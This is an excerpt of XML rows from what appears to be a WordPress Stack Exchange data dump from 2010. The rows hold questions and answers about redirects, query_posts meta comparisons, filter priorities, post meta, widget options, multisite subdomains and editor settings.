  <row Id="2107" PostTypeId="2" ParentId="2105" CreationDate="2010-09-22T15:12:15.773" Score="4" ViewCount="" Body="&lt;p&gt;This is irrelevant if you're self-hosting your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.com&quot; rel=&quot;nofollow&quot;&gt;WordPress.com&lt;/a&gt;&lt;/strong&gt; is a free hosting site run by the company &lt;a href=&quot;http://automattic.com&quot; rel=&quot;nofollow&quot;&gt;Automattic&lt;/a&gt;.  Since it's run by a private company, they set the rules and restrict advertising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/strong&gt; is the homepage of the open source project called WordPress.  You can download WordPress from this site and install it on your own server.  Since it's open source, you can do whatever you want with it, so long as you follow the rules of the &lt;a href=&quot;http://wordpress.org/about/gpl/&quot; rel=&quot;nofollow&quot;&gt;GPL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automattic uses the WordPress platform (freely available at WordPress.org) to run all of the sites hosted on WordPress.com.  The names can get a bit confusing, but just remember &lt;code&gt;.com&lt;/code&gt; typically refers to a company and &lt;code&gt;.org&lt;/code&gt; typically refers to a (non-profit) organization.  That should help you navigate some of the ambiguity.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-22T15:12:15.773" />
  <row Id="2109" PostTypeId="2" ParentId="2020" CreationDate="2010-09-22T15:49:08.677" Score="1" ViewCount="" Body="&lt;p&gt;Upon further searching and after discovering the $submenu global variable, I've managed to find a helpful tutorial on &lt;a href=&quot;https://kapilchugh.wordpress.com/2010/06/07/wordpress-disableremove-menu-submenus/&quot; rel=&quot;nofollow&quot;&gt;removing sub-menus from the WordPress admin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll post with code when I get a full solution implemented and integrated with the plugin.&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2010-09-22T15:49:08.677" CommentCount="2" />
  <row Id="2111" PostTypeId="1" AcceptedAnswerId="2112" CreationDate="2010-09-22T16:12:32.633" Score="2" ViewCount="347" Body="&lt;p&gt;I run a site with over 100 specific redirects in the htaccess for legacy html files that were subsequently brought into WP. There are also rules for pages within a date range to redirect to the home page, and all sorts of other nasties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that WP handles redirects and permalinks internally, and without using a plugin, what would be the best way to programatically redirect these links and keep my .htaccess file clean?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:41.413" LastActivityDate="2011-02-16T08:39:41.413" Title="Using WP rather than .htaccess to redirect pages/posts" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2112" PostTypeId="2" ParentId="2111" CreationDate="2010-09-22T16:29:21.897" Score="3" ViewCount="" Body="&lt;p&gt;The best way to &quot;programatically redirect these links and keep [your] .htaccess file clean&quot; would actually be with a plugin.  I know you stated &quot;without using a plugin,&quot; but you'll get the same functionality from a plugin that you would if you wrote the code yourself.  And, considering how non-user-friendly the WP rewrite scripts are, I &lt;em&gt;strongly&lt;/em&gt; suggest you don't try to write it yourself (I'm an experienced WP developer and I still have trouble with the clanky rewrite engine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're willing to go with a plugin, I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirection has a very intuitive UI that allows you to create, display, and manipulate all of your custom redirects.  It also keeps track of any 404 errors your site generates by mistake.  I use Redirection on my site to redirect legacy links from my ancient static site to the new dynamic WordPress links.  I've also used it on several client sites after helping them migrate to WordPress.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-22T16:29:21.897" CommentCount="6" />
  <row Id="2114" PostTypeId="1" AcceptedAnswerId="2125" CreationDate="2010-09-22T17:47:07.630" Score="3" ViewCount="168" Body="&lt;p&gt;is it possible to use the thumbnail mechanic twice? I find the thumbnail API really useful for allowing users to place in there own graphics, so that I can control size and position easily. All they have to do is remember to click featured image. I would like two such mechanisms on my page, any idea how I could do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably hand coding.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-23T03:04:11.293" Title="Double thumbnails?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2116" PostTypeId="1" AcceptedAnswerId="2119" CreationDate="2010-09-22T20:01:14.440" Score="0" ViewCount="179" Body="&lt;p&gt;I have a version 3 installation of wordpress on my hosting package that I installed myself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else so far seems ok such as posting etc, but I'm unable to install any new themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to install a theme from clicking one of the &quot;featured&quot; themes, and have tried to upload a ZIP from the wordpress themes website, but each time it just hangs on &quot;Unpacking&quot; or &quot;downloading&quot; and nothing ever happens, I don't get any errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that under &lt;code&gt;/wp-content/uploads&lt;/code&gt; I can see a zip I select for upload, its filesize seems ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:40:14.097" LastActivityDate="2010-09-23T18:08:40.407" Title="Unable to upload/install any WordPress themes" Tags="&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2117" PostTypeId="1" CreationDate="2010-09-22T20:18:01.227" Score="1" ViewCount="2243" Body="&lt;p&gt;I am using &lt;code&gt;query_posts( $args )&lt;/code&gt; to filter the Loop.&#xA;I want to filter posts based on their &lt;code&gt;meta_value&lt;/code&gt; &quot;vote&quot;, sometimes smaller than, sometimes equals and so on....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitly want to use the &lt;code&gt;query_posts()&lt;/code&gt; function and pass my filter through &lt;code&gt;$args&lt;/code&gt;!&#xA;I don't want to use &lt;code&gt;add_filter('posts_where', 'filter_where');&lt;/code&gt; and then add an &lt;code&gt;AND&lt;/code&gt; statement to the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the given functionality of WordPress to filter posts with &lt;code&gt;meta_key&lt;/code&gt;, &lt;code&gt;meta_value&lt;/code&gt; and &lt;code&gt;meta_compare&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'meta_key'=&amp;gt;'vote', 'meta_compare'=&amp;gt;'&amp;gt;=', 'meta_value'=&amp;gt;5, 'posts_per_page'=&amp;gt;100 ) )&#xA;&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result of this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id) WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'private') AND wp_postmeta.meta_key = 'vote' AND wp_postmeta.meta_value &amp;gt;= '5' GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem of that is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_postmeta.meta_value &amp;gt;= '5' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_postmeta.meta_value &amp;gt;= 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it would work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why WordPress adds quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the predefined parameter from WordPress (&lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;=&lt;/code&gt;) and it's obvious that this will only work with numbers and not strings which would need to be in quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns posts with custom field key of&#xA;  'miles' with a custom field value that&#xA;  is LESS THAN OR EQUAL TO 22&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;query_posts('meta_key=miles&amp;amp;meta_compare=&amp;lt;=&amp;amp;meta_value=22');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-22T20:26:30.627" LastActivityDate="2011-03-16T15:57:40.817" Title="query_posts -&gt;using meta_compare / where meta value is smaller or greater or equals" Tags="&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="2118" PostTypeId="2" ParentId="2117" CreationDate="2010-09-22T20:29:24.177" Score="0" ViewCount="" Body="&lt;p&gt;I would recommend parsing your &lt;code&gt;$args&lt;/code&gt; array and converting it to a string before passing it into &lt;code&gt;query_posts&lt;/code&gt;.  When you create the &lt;code&gt;$args&lt;/code&gt; array, the system will automatically convert the number 5 into a string &quot;5&quot; when the array is turned back into a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=vote&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=5&amp;amp;posts_per_page=100');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's still passing the same information into query_posts, but should pass in the number 5 rather than a string &quot;5&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Since we've now discovered that meta_value stores strings rather than numbers, and you can't effectively do a greater than/less than comparison with strings.  However, after &lt;a href=&quot;http://core.trac.wordpress.org/ticket/10649&quot; rel=&quot;nofollow&quot;&gt;some more research&lt;/a&gt; I stumbled upon the query flag &lt;code&gt;meta_value_num&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the following &lt;code&gt;query_posts&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=vote&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=5&amp;amp;posts_per_page=100&amp;amp;orderby=meta_value_num');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should get be behavior you want.  &lt;code&gt;meta_value_num&lt;/code&gt; tells WordPress to evaluate your &lt;code&gt;meta_value&lt;/code&gt;s as numbers rather than strings.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-22T21:12:15.883" LastActivityDate="2010-09-22T21:12:15.883" CommentCount="6" />
  <row Id="2119" PostTypeId="2" ParentId="2116" CreationDate="2010-09-22T20:30:52.497" Score="4" ViewCount="" Body="&lt;p&gt;This problem most notably occurs on systems running PHP4.  If you can, upgrade your server to PHP5 (if you're on a hosted server, there's usually a setting in cPanel or whatever administrative tool you have to switch from PHP4 to PHP5).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-22T20:30:52.497" CommentCount="1" />
  <row Id="2120" PostTypeId="2" ParentId="2117" CreationDate="2010-09-22T20:31:57.923" Score="2" ViewCount="" Body="&lt;p&gt;From quick look over documentation &lt;code&gt;meta_value&lt;/code&gt; seems to be purposed for strings and for numerical values there is &lt;code&gt;meta_value_num&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Orderby Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did some digging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;meta_value_num&lt;/code&gt; is indeed ignored for the purpose of filtering. I think they simply forgot to add that part. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that &lt;code&gt;WP_Query&lt;/code&gt; correctly receives number as &lt;code&gt;int&lt;/code&gt; (passing as array doesn't matter), but it passes generated &lt;code&gt;meta_compare&lt;/code&gt; condition through &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; and explicitly marks value as &lt;code&gt;%s&lt;/code&gt; string. In which case &lt;code&gt;prepare&lt;/code&gt; forcefully single-quotes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems you'll have to filter &lt;code&gt;posts_where&lt;/code&gt; after all. You can try to just unquote that specific string instead of generating condition manually.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-23T07:23:10.287" LastActivityDate="2010-09-23T07:23:10.287" CommentCount="1" />
  <row Id="2121" PostTypeId="1" AcceptedAnswerId="2122" CreationDate="2010-09-22T20:43:37.510" Score="1" ViewCount="56" Body="&lt;p&gt;On the free version of wordpress, ie the one you setup for free and get hosted at &quot;myblog.wordpress.com&quot;, it has a very nice module on the dashboard for tracking statistics. It displays a nice hit-counter graph and shows search engine terms used etc, without any clutter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get this for a self hosted install of wordpress? I can't see it installed by default&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2011-03-31T00:48:33.610" Title="How to get the &quot;stats&quot; plugin that comes with a .wordpress.com blog?" Tags="&lt;plugins&gt;&lt;stats&gt;" AnswerCount="2" />
  <row Id="2122" PostTypeId="2" ParentId="2121" CreationDate="2010-09-22T20:45:56.630" Score="3" ViewCount="" Body="&lt;p&gt;Not installed by default, but available as plugin from repository: &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com Stats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-22T20:45:56.630" CommentCount="3" />
  <row Id="2123" PostTypeId="2" ParentId="965" CreationDate="2010-09-22T22:52:46.290" Score="0" ViewCount="" Body="&lt;p&gt;looks like this was already answered somewhere else:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2010-09-22T22:52:46.290" />
  <row Id="2124" PostTypeId="2" ParentId="2100" CreationDate="2010-09-23T01:45:31.500" Score="2" ViewCount="" Body="&lt;h2&gt;There may be a better way that I am missing but I am going to give you 2 options:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1.Use XML Export to export your new posts and comments.  Then use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-importer/&quot; rel=&quot;nofollow&quot;&gt;WordPress Importer&lt;/a&gt; to import the new posts and comments back into the dev database&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It's best to import into dev then move the database over to production because when you import it will download all the new media files from production.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the meantime production has changed(new posts, new comments, etc.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would solve your problem of bringing in any changed content.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2. Use the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/insert.html&quot; rel=&quot;nofollow&quot;&gt;INSERT IGNORE INTO&lt;/a&gt; MySql command to add the new tables from dev. or the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/replace.html&quot; rel=&quot;nofollow&quot;&gt;REPLACE&lt;/a&gt; command to overwrite duplicate rows in the same table.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Before using MySql make a backup of both databases and move the gz database to the production server and upload the dump (change the name of dev if it's the same as production.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT IGNORE INTO `_wp_production_db`.`wp_cool_plugin_options`&#xA;SELECT *&#xA;FROM `_wp_dev_db`.`wp_cool_plugin_options`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not comfortable with MySql commands so I would go with option 1.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T08:49:52.653" LastActivityDate="2010-09-23T08:49:52.653" CommentCount="3" />
  <row Id="2125" PostTypeId="2" ParentId="2114" CreationDate="2010-09-23T03:04:11.293" Score="2" ViewCount="" Body="&lt;p&gt;Checkout the &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;multiple post thumbnails plugin&lt;/a&gt;.  It will allow you to define multiple post thumbnails for specific post types.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-09-23T03:04:11.293" CommentCount="2" />
  <row Id="2126" PostTypeId="1" CreationDate="2010-09-23T04:16:36.037" Score="0" ViewCount="246" Body="&lt;p&gt;I'm writing a plugin that adds some extra thumbnails, checkboxes, etc to the end of a post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how to use add_filter properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I've got&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_filter('the_content', 'do_some_magic_at_the_end');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is a corresponding do_some_magic_at_the_end function that takes $content and appends some stuff to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this filter to be added after all other filters. I don't want it overwriting any other filter. The docs says default priority is 10, so I assume  it is simply being added to a chain of filters that get run on the_content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the priority to 1, will it overwrite any core functions?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-23T05:43:13.073" Title="At what priority does add_filter overwrite core functions?" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="2127" PostTypeId="2" ParentId="2126" CreationDate="2010-09-23T05:16:16.737" Score="3" ViewCount="" Body="&lt;p&gt;There is no definitive answer to that because there is no limit to priorities high/low. Also plugins can be much less careful than core with this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;11 is good number to be after default priority;&lt;/li&gt;&#xA;&lt;li&gt;20 to be late;&lt;/li&gt;&#xA;&lt;li&gt;multiple thousands is good to be later than anyone who didn't put more zeros in his thousands;&lt;/li&gt;&#xA;&lt;li&gt;9 is good number to be slightly earlier than default;&lt;/li&gt;&#xA;&lt;li&gt;1 to be really early;&lt;/li&gt;&#xA;&lt;li&gt;-1 to be almost definitively first, because very few people remember that priorities can go negative.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall if you want to be sure you are before other functions you will have to dump everything that is added to hook in your specific setup and debug through that. You might need to create wrapper function to add your filters at specific load stage or even move other filters around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you are making plugin for distribution you can guess, but you can't be sure.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-23T05:43:13.073" LastActivityDate="2010-09-23T05:43:13.073" CommentCount="2" />
  <row Id="2128" PostTypeId="1" AcceptedAnswerId="2129" CreationDate="2010-09-23T05:59:53.263" Score="1" ViewCount="754" Body="&lt;p&gt;I need to know solutions for the question above.&#xA;There are cases, when we need post meta information outside the loop.&#xA;Let's say, I'm developing theme that will display ads from certain vendor on that page (everywhere on that particular page) based on post meta information.&#xA;Because, I've bilingual blog and I will use different vendor for each language (for CTR reason).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do you guys have a solutions for this kind of problem?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-09-23T06:52:18.617" Title="Strategy to get post meta for use outside the loop" Tags="&lt;theme-development&gt;&lt;the-loop&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="2129" PostTypeId="2" ParentId="2128" CreationDate="2010-09-23T06:17:18.453" Score="1" ViewCount="" Body="&lt;p&gt;Do you mean meta like in custom fields or information from post in general?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically as long as you have post id you can get anything you want, not tied to the Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For custom fields there is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general information (like title or content) there is number of functions (many template tags can be explicitly passed post id, they just default to current Loop item) and there is &lt;code&gt;get_post_field($field, $post);&lt;/code&gt; (can't find in documentation, but self-explaining).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-23T06:17:18.453" />
  <row Id="2130" PostTypeId="2" ParentId="2128" CreationDate="2010-09-23T06:52:18.617" Score="0" ViewCount="" Body="&lt;p&gt;The global variable &lt;code&gt;$post&lt;/code&gt; contains all the post details, so that you can use them outside the loop.&#xA;Basically, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;echo get_post_meta($post-&amp;gt;ID, 'my-ad', true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-23T06:52:18.617" />
  <row Id="2131" PostTypeId="2" ParentId="1184" CreationDate="2010-09-23T08:28:26.867" Score="0" ViewCount="" Body="&lt;p&gt;Read &lt;a href=&quot;http://article-stack.com/web-design-n-development/blog-blogger-blogging/fix-for-floating-div.amty&quot; rel=&quot;nofollow&quot;&gt;fix for floating div&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-09-23T08:28:26.867" />
  <row Id="2132" PostTypeId="2" ParentId="2111" CreationDate="2010-09-23T08:33:59.180" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dan Gayle:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an answer I wrote that shows how to redirect using PHP from within WordPress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-23T08:33:59.180" CommentCount="1" />
  <row Id="2133" PostTypeId="1" AcceptedAnswerId="2312" CreationDate="2010-09-23T08:54:06.193" Score="4" ViewCount="468" Body="&lt;p&gt;How can I change the format of attachment page urls from &lt;code&gt;/[post-url]/[attachment-name]/&lt;/code&gt; to &lt;code&gt;/media/[attachment-name]/&lt;/code&gt;? I understand that I can override the output of &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/link-template.php#L298&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_attachment_link&lt;/code&gt;&lt;/a&gt; via the &lt;code&gt;attachment_link&lt;/code&gt; filter, but I guess I need to change the redirect structure so WordPress knows how to handle these urls?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-10T14:30:04.923" Title="Changing attachment urls?" Tags="&lt;attachments&gt;&lt;redirect&gt;&lt;urls&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2134" PostTypeId="2" ParentId="2091" CreationDate="2010-09-23T09:45:45.640" Score="0" ViewCount="" Body="&lt;p&gt;I have modified the code to add another option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function widget($args, $instance){&#xA;  extract($args);&#xA;  $title = apply_filters('widget_title', empty($instance['title']) ? 'Choose a service' : $instance['title']);&#xA;  $lineOne = empty($instance['NHSusername']) ? '' : $instance['NHSusername'];&#xA;  $lineTwo = empty($instance['NHSpassword']) ? '' : $instance['NHSpassword'];&#xA;  $lineThree = apply_filters('form_results_page', empty($instance['resultspage']) ? '' : $instance['resultspage']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I notice that $lineOne and $lineTwo don't save but the lines with apply_filters save the settings. They must be being saved somewhere? The reference page for apply_filters doesn't tell you much.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2010-09-23T09:45:45.640" />
  <row Id="2135" PostTypeId="2" ParentId="2091" CreationDate="2010-09-23T09:57:01.267" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps I'm mis-reading your question, but it seems like what you're looking to do is save some options or info from your widget (username and password) somewhere in WordPress where you can then re-access them outside the widget code. If that's correct, you'll want to look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_option&quot; rel=&quot;nofollow&quot;&gt;add_option()&lt;/a&gt; function (as well as update_option() and delete_option() as necessary). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set an option, just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php add_option(&quot;my_widget_option_name&quot;, 'option_value'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then retrieve it anywhere within WP by calling get_option like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $option_val = get_option(&quot;my_widget_option_name&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-09-23T09:57:01.267" CommentCount="6" />
  <row Id="2136" PostTypeId="1" CreationDate="2010-09-23T10:52:28.820" Score="3" ViewCount="680" Body="&lt;p&gt;using google to search for answers to how to setup a cpanel&quot;based&quot; domain to use with WordPress 3 Multisite using subdomains (subdomain1.domain.com, subdomain2.domain.com etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;answer: &quot;just go to subdomains in Cpanel, use * and point it to public_html&quot;....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that works, but (and here's the question):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the good old webmail.domainname.com, cpanel.domainname.com, whm.domainname.com etc. doesn't work anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, question: how to do it 100% properly, so all normal functionality remains and still enable the subdomain possibility with WP Multisite ?&lt;/p&gt;&#xA;" LastActivityDate="2010-10-06T12:32:01.667" Title="WordPress 3 Multisite using subdomains.- DNS on Cpanel question" Tags="&lt;multisite&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" />
  <row Id="2137" PostTypeId="1" AcceptedAnswerId="2138" CreationDate="2010-09-23T11:53:22.350" Score="2" ViewCount="386" Body="&lt;p&gt;I'm having difficulty in creating a big post since the editor box is quite small. I want to make it bigger. Can I?&lt;/p&gt;&#xA;" OwnerUserId="992" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-24T08:17:28.240" LastActivityDate="2010-10-01T15:55:49.893" Title="Making the Post/Page Content Editor Box Bigger?" Tags="&lt;wordpress.com&gt;&lt;editor&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2138" PostTypeId="2" ParentId="2137" CreationDate="2010-09-23T12:02:55.857" Score="8" ViewCount="" Body="&lt;p&gt;You have a couple of options. First, you can always click on the bottom right corner of the post edit box and drag to resize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WuHf3.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can also make it so that the post box is larger by default. Go to Settings &gt; Writing, and change the value for size of the post box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Yd1cX.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-23T12:02:55.857" />
  <row Id="2139" PostTypeId="1" AcceptedAnswerId="2141" CreationDate="2010-09-23T12:41:14.750" Score="0" ViewCount="223" Body="&lt;p&gt;I see that but not sure what it is?&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2010-09-23T12:52:56.277" Title="What is &quot;This post is super-awesome&quot; when creating new post?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" />
